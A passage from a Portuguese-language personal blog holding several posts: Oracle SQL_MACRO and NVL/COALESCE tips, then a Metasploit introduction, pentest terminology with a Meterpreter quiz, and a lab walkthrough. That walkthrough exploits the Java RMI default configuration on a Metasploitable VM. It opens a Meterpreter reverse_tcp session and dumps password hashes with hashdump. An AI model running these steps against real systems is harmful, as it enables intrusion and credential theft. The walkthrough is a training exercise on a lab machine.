quarta-feira, 25 de setembro de 2024

Oracle: SQL_MACRO - Adicionando condicionais ao gerar o macro

 Estou continuando meus estudos sobre SQL_MACRO no Oracle. Ainda não consegui achar uma solução elegante para o IN sem que envolva gambiarra. Mas isso deixo para atualizar o referido post. Hoje quero registrar como é possível tratar os parâmetros para gerar o macro.

Neste primeiro caso, só para ilustrar, vou mostrar um parâmetro que se for 0, o WHERE será diferente:

CREATE OR REPLACE FUNCTION teste_function(obj_chave number) RETURN VARCHAR2 SQL_MACRO IS BEGIN RETURN 'SELECT * FROM tabela WHERE '|| CASE WHEN obj_chave=0 THEN 'FOTR_CD_CHAVE=''X''' ELSE 'FOTR_CD_CHAVE=''Y''' END; END;

Basicamente concatenamos a expressão com uma estrutura condicional. Também podemos usar funções que faça condicional, como o NVL (é até mais recomendável, já que fica mais limpo o código)



segunda-feira, 23 de setembro de 2024

Oracle: Função, Macro e Gambiarra para passar uma lista de palavras por parâmetro em uma função

 Então, estou responsável por adaptar algumas views de um banco de dados Oracle, e possui mais de 20 views que basicamente, tem a mesma consulta em todas elas, mudando apenas alguns valores usados no WHERE da consulta. Basicamente seria algo como, mas muito mais complexo do que o exemplo que passo:

View 1:

SELECT * FROM cliente WHERE cidade = 'Joinville' AND bairro IN ('Bom Retiro', 'América', 'Floresta')

View 2:

SELECT * FROM cliente WHERE cidade = 'Curitiba' AND bairro IN ('Centro', 'Sítio Cercado', 'Santa Felicidade')

E assim por diante.

É uma boa oportunidade para fazer uma refatoração, né? Minha intenção é criar uma função e criar um macro para facilitar. Para criar um macro, podemos fazer o seguinte:

CREATE OR REPLACE FUNCTION clientesPorRegiao (tx_cidade VARCHAR2)
RETURN VARCHAR2 SQL_MACRO IS
BEGIN
  RETURN 'SELECT * FROM cliente WHERE cidade = tx_cidade';
END;

Se nós fazermos um 

SELECT * from clientesPorRegiao('Joinville')

e

SELECT * from clientesPorRegiao('Curitiba')

Temos o mesmo efeito do que se tivessemos feito as views, só que sem o filtro do bairro, ou seja, o primeiro vai vir os clientes de Joinville e o segundo, os clientes de Curitiba. Mas e o Bairro? Você me pergunta... digamos que a cláusula IN não é muito amigável nas funções e não existe no Oracle, nenhuma forma direta de passar uma lista como é feito no exemplo da View 1 e View 2, ou seja, não existe uma maneira direta de termos um clientesPorRegiao('Joinville',('Bom Retiro', 'América', 'Floresta')). Entretanto, se estou postando algo, é que achei uma solução que seja prático, correto? Correto!

Então, vamos por partes, a criação da função, o parâmetro para bairro será um texto VARCHAR2 que nem o primeiro parâmetro:

CREATE OR REPLACE FUNCTION clientesPorRegiao (tx_cidade VARCHAR2, tx_bairro VARCHAR2)
RETURN VARCHAR2 SQL_MACRO IS
BEGIN
  RETURN 'SELECT * FROM cliente WHERE cidade = tx_cidade AND bairro IN (tx_bairro)';
END;

Intuitivamente, a vontade é colocar o parâmetro como coloquei acima, mas já aviso que não vai dar certo. Ao invés disso, vamos substituir o "bairro IN (tx_bairro)" pela função instr, desta forma:

CREATE OR REPLACE FUNCTION clientesPorRegiao (tx_cidade VARCHAR2, tx_bairro VARCHAR2)
RETURN VARCHAR2 SQL_MACRO IS
BEGIN
  RETURN 'SELECT * FROM cliente WHERE cidade = tx_cidade AND instr(tx_bairro, '',''||bairro||'','')>0';

END;

E o que faz essa função instr? Segundo a documentação da Oracle, da forma que usamos, ele vai procurar no primeiro parâmetro se há alguma ocorrência do segundo parâmetro. No nosso contexto, ele irá procurar no parametro tx_bairro, se existe alguma substring que tenha o valor do campo bairro e retornar a quantidade desta ocorrência, e sendo essa quantidade maior que zero, então está incluso na lista. Entretanto, temos uma pegadinha, repare que nós concatenamos ',' na frente e na parte de trás do bairro, fiz isso para garantir que não ocorra problemas como nomes de bairro tipo 'Santa' e acabar validando 'Santana'. Mas isso, vai afetar a forma que vamos passar esta lista, que será desta forma:

SELECT * from clientesPorRegiao('Joinville',',Bom Retiro,América,Floresta,');

Repare que a lista ele começa com vírgulas e termina com vírgulas, justamente para fazer com que as palavras sejam reconhecida como um todo e não parte. Então, esta solução não serve para lista de textos que contenham vírgulas. 

Então, é isso, se conhecer alguma solução melhor, estou bem aberto para ouvir.

sábado, 20 de julho de 2024

Oracle: Query para pesquisar nomes de tabela

 Para listar todas as colunas criadas e existente no Oracle, pode-se utilizar a seguinte query:

SELECT * FROM ALL_TAB_COLUMNS

Essa tabela possui as seguintes colunas:

  • OWNER: O usuário "dono" da tabela
  • TABLE_NAME: Nome da tabela em que a coluna pertence
  • COLUMN_NAME: Nome da Coluna
  • DATA_TYPE:
  • DATA_TYPE_MOD:
  • DATA_TYPE_OWNER:
  • DATA_LENGTH:
  • DATA_PRECISION:
  • DATA_SCALE:
  • NULLABLE:
  • COLUMN_ID:
  • DEFAULT_LENGTH:
  • DATA_DEFAULT:
  • NUM_DISTINCT:
  • LOW_VALUE:
  • HIGH_VALUE:
  • DENSITY:
  • NUM_NULLS:
  • NUM_BUCKETS:
  • LAST_ANALYZED:
  • SAMPLE_SIZE:
  • CHARACTER_SET_NAME:
  • CHAR_COL_DECL_LENGTH:
  • GLOBAL_STATS:
  • USER_STATS:
  • AVG_COL_LEN:
  • CHAR_LENGTH:
  • CHAR_USED:
  • V80_FMT_IMAGE:
  • DATA_UPGRADED:
  • HISTOGRAM:
  • DEFAULT_ON_NULL:
  • IDENTITY_COLUMN:
  • EVALUATION_EDITION:

quinta-feira, 18 de julho de 2024

Oracle: Tratando valores nulos: COALESCE e NVL

 Estava eu trabalhando com a seguinte situação: precisava que um dado filtrasse por um campo data comparado com outros dois campos data. No clássico SQL ficaria algo assim:

WHERE campo1 BETWEEN campo2 AND campo3

Só que o campo3 tem um detalhe, ele é nulo se não tem uma data definida, o que significaria no contexto, uma data futura indefinida. Como tratar isso?

Temos duas funções que faz a mesma coisa, o COALESCE e NVL, ele avalia o primeiro parâmetro, se for nulo, passa para o próximo. Exemplo:

WHERE campo1 BETWEEN campo2 AND COALESCE(campo3, SYSDATE)

WHERE campo1 BETWEEN campo2 AND NVL(campo3, SYSDATE)

Existe alguma diferença entre as duas? Sim, COALESCE permite mais de dois parâmetros, então, vamos supor que tenha um campo4, faríamos:

WHERE campo1 BETWEEN campo2 AND COALESCE(campo3, campo4, SYSDATE)

Neste último, se campo3 é nulo, é verificado o campo4, e se for também nulo, irá para SYSDATE. E se quisermos colocarmos um campo5, campo6, campo7, ..., campoN, podemos.

Já o NVL tem uma outra função chamado NVL2 que realiza a mesma função, mas para 3 parâmetros.

WHERE campo1 BETWEEN campo2 AND NVL2(campo3, campo4, SYSDATE)

E é isso por hoje.

quinta-feira, 9 de março de 2023

Introdução ao Metasploit Framework

 Em alguns posts atrás, nós mexemos no Metasploit Framework (MSF). Mas o que seria ele?

O Metasploit Framework é um dos mais famosos framework de teste de penetração por ser robusto e ter uma versão aberta e grátis (mas também tem a versão Pro e pago). Ela é usada para testar as vulnerabilidades de um sistema de computador ou invadi-las.

Uma das vantagens que usamos a distribuição Kali como sistema operacional é que o MSF já está instalado junto com o sistema.

Já que dei uma introdução, vamos fazer algo mais prático e ver alguns comandos importante. O primeiro é com certeza o comando "msfupdate", afinal, novas vulnerabilidades sempre estão surgindo e você deve manter o MSF atualizado. Caso você esteja usando o Kali, o comando falhará porque o MSF faz parte do sistema operacional, então você deverá usar o "apt update; apt install metasploit-framework" para atualizar.



PS: se tiver problemas em atualizar por problemas de permissão, executar o comando "sudo -s" para obter o root do sistema e então executar o comando acima.

Já para nós utilizarmos o framework, usaremos o msfconsole, a interface mais popular. É uma interface em linha de comando, mas também é a que mais tem recursos e é a mais estável, além de permitir comandos de sistemas, como ping, sem sair do programa. Ao digitar o comando "msfconsole", o framework será inicializado e estaremos prontos para a ação.

Dentro do console, podemos usar o comando "help" para listar todos os comandos que o MSF possui. Os comandos estarão agrupados em categorias. Também o comando explica sobre como indicar as abrangências de IP e outros valores.

Outro comando muito útil é o "search [palavraChave]", que procurará nos módulos, todos os exploits que estiver relacionado com a palavra-chave. Por exemplo, se nós usar o comando "search Firefox", podemos localizar vários exploits que possam afetar o Firefox. Neste comando, as informações estará em seis colunas, mas tem um em especial que é interessante falar, que é a coluna rank.

A coluna rank é uma classificação que serve para ajudar a escolher a vulnerabilidade a ser explorada, que são as seguintes:
  • Excellent: O exploit nunca derrubará o serviço e não é esperado qualquer tipo de corrupção na memória explorando essas falhas, por exemplo: SQL Injection;
  • Great: O exploits possui um alvo padrão ou consegue detectar automáticamente um alvo apropriado ou possui uma execução especifica depois de uma verificação de versão;
  • Good: O exploits possui um alvo padrão e á o caso mais comum;
  • Normal: O exploit é útil, mas depende de uma versão específica e/ou não pode ou consegue ter uma detecção automática;
  • Average:  a falha é dificil de explorar, mas pode ocorrer;
  • Low: A falha é quase impossível de utilizar, ou tem uma chance de sucesso menor que 50%;
  • Manual:  geralmente é  uma falha instável e é basicamente um DoS;
Acho que posso ficar por aqui, no próximo post, vou mostrar mais comandos explorando algumas falhas.


quarta-feira, 8 de março de 2023

Teste de Penetração: Conceitos, terminologia e riscos e dicas

 Segue uma lista de termos usado na área de segurança quando se trata de Hacking:

  • Exploit (noun): um pedaço de software ou sequência de comandos que tira vantagem de uma vulnerabilidade. Um ataque em sistema de computador;
  • Exploits Results: A consequência de um ataque bem sucedido: obter controle de um sistema, escalar privilégios, negação de serviço;
  • Exploit (verb): ato de fazer um ataque ao sistema com sucesso;
  • Vulnerability: Uma falha ou ponto fraco que pode resultar em uma falha de segurança;
  • Payload: Parte do malware que performa uma ação maliciosa;
    • Coisas que podemos fazer num alvo:
      • Acesso ao shell;
      • Acesso a senha;
      • Manter um backdoor;
    • Geralmente são escrito em Assembly;
    • É dependente da plataforma, portanto um payload para Linux vai ser diferente de um para Windows;
Os testes de penetrações também tem riscos durante a sua execução, como:
  • Aplicações dar crash, principalmente em sistemas legados ou serviços customizados;
  • Queda de servidores;
  • Baixa na performance;
  • Modificar configurações;
  • Comprometimento de informações confidencial;
  • Esquecimento de backdoors;
Para mitigar esses riscos, podemos fazer o seguinte:
  • Evitar atacar esses serviços legado ou customizados;
  • Realizar testes em sistemas críticos fora de horário importante;
  • Performar testes no ambiente de teste primeiro e depois para em produção;
  • Configurar monitoramento antes do testes, para caso algo dê problema, o suporte possa investigar e restaurar o sistema.
  • Configure os testes automatizado para não usar muita banda;
  • Tenha um plano de limpeza para reverter configurações e modificações, remover backdoors;
Sites úteis:
  • Exploit Database: www.exploit-db.com
  • Packet Storm: www.packetstormsecurity.com
Exploit Framework
  • Core Impact (poderoso e caro);
  • Immunity Canvas (mais barato que Core Impact ou a versão comercial de Metasploit);
  • Metasploit
Quiz:

1. No Meterpreter, você encontrou um arquivo interessante chamado "senhas.xls". Você quer obter o arquivo no Meterpreter, mas está incerto em como fazert isso. O que você deve usar?
  • comando "download" dentro do Meterpreter;
  • VNC, é a forma mais rápido de copiar dados
  • Não é possivel baixar aquivos dentro do Meterpreter Shell;
2. Matthew, um black hat, conseguiu abrir uma sessão de Meterpreter em uma das máquinas de quiosque do lobby da Evil Corp. Ele verifica seu atual SID, que é S-1-5-21-1223352397-1872883824-861252104-501. O que precisa acontecer antes do Matthew ter acesso de administrador completo?
  • Ele precisa ter acesso físico;
  • Ele precisa fazer ema escala de privilégio (privilege escalation);
  • Ele já tem privilégios de administrador, como mostrado pelo "501" no final do SID;
  • Ele precisa desativar a proteção de antivirus;

terça-feira, 7 de março de 2023

Teste de Penetração + Metaspoitable Framework: Aproveitando de uma Informação: RMI Registry foi detectado

 Vulnerabilidades listada como "INFO" não são necessariamente vulnerabilidades, mas podem também ser aproveitadas se souber o que procurar. Por exemplo, a INFO "RMI Registry Detection". RMI Registry é usado pelo Java, então, vamos ver o que podemos fazer:


Da mesma forma que o post anterior, podemos ver detalhes do servidor e porta:

Mas só porque temos a porta do RMI, não quer dizer que a porta listada esteja vulneravel, mas podemos explorar para ver se achamos uma outras portas abertas por causa de uma falha de um programador, por exemplo. Vamos fazer isso com o seguinte comando:

nmap -sV -sS 10.0.2.4 -p1-65535

isso permitirá ver se tem portas abertas. Provavelmente, não irá encontrar nada, mas então, vamos pedir uma ajudinha para uma outra ferramenta. 

Em um outro terminal, vamos rodar o Metaspoitable Framework, com o comando

msfconsole

e depois de iniciado. digitamos

search java_rmi

Aqui podemos ver duas vulnerabilidades:



Destaquei na imagem a vulnerabilidade que escolhi atacar: a configuração padrão inseguro. Vamos nos aprofundar neste item usando o comando

use exploit/multi/misc/java_rmi_server 

o Metaspoitable vai explicar que a configuração padrão quando não existe um Payload configurado é ir direto para java/meterpreter/reverse_tcp. Vamos ver os payloads padrões usando o comando 

show payloads



Agora, vamos setar o payload do MSF para payload/java/meterpreter/reverse_tcp 

set payload payload/java/meterpreter/reverse_tcp 

e agora vamos mostrar os parâmetros que podemos usar:

show options

Agora alteraremos o parâmetro RHOST com o IP da máquina alvo:

set RHOST 10.0.2.4

e vamos setar o parâmetro SRVHOST com o IP do Kali (o que estamos usando):

set SRVHOST 10.0.2.15

e também vamos setar o LHOST para a nossa máquina:

set LHOST 10.0.2.15




e agora finalmente, vamos rodar o exploit com o comando:

exploit

Com isso, conseguimos uma sessão Meterpreter aberta;


E o que podemos fazer com uma sessão dessas aberta? 
se eu enviar um sysinfo, vamos obter informações do sistema.


e se enviar o seguinte comando:

run post/linux/gather/hashdump

e teremos uma lista de Hash das senhas de todos os usuários do sistema

E isso tudo, conseguindo explorar apenas com uma informação no início. Portanto, não subestime uma INFO.